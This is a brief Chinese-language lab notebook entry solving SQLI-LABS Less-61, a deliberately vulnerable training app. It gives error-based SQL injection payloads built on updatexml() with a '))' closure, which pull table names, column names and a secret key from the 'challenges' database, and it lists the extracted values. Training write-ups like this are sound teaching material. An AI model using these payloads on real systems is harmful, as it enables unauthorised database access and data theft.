SQLI-LAPS 实验记录
Less-61
这一关与上一关类似,只是闭合方式不同,为单引号加双括号的方式,依然采用报错注入的方式通关。

根据之前的经验,我们在命令行中采用单引号加双括号来闭合,使用报错注入命令:
sql
?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1) --+

结果如图所示,能够爆出表名SU367R5TLR。
接下来,我们继续使用该语句来进行注入,爆出数列名以及秘钥,语句如下:
- 查询列名
php
?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='SU367R5TLR'),0x7e),1)--+

查询结果为secret_CH6P。
- 查询秘钥
php
?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(secret_CH6P) from challenges.SU367R5TLR),0x7e),1) --+

查询如图所示,秘钥为RGPHim48wGuZe9NvjtVXnQ2f。
之后,将查询出的密钥输入页面下方的对话框中,就可以看到成功信息了。
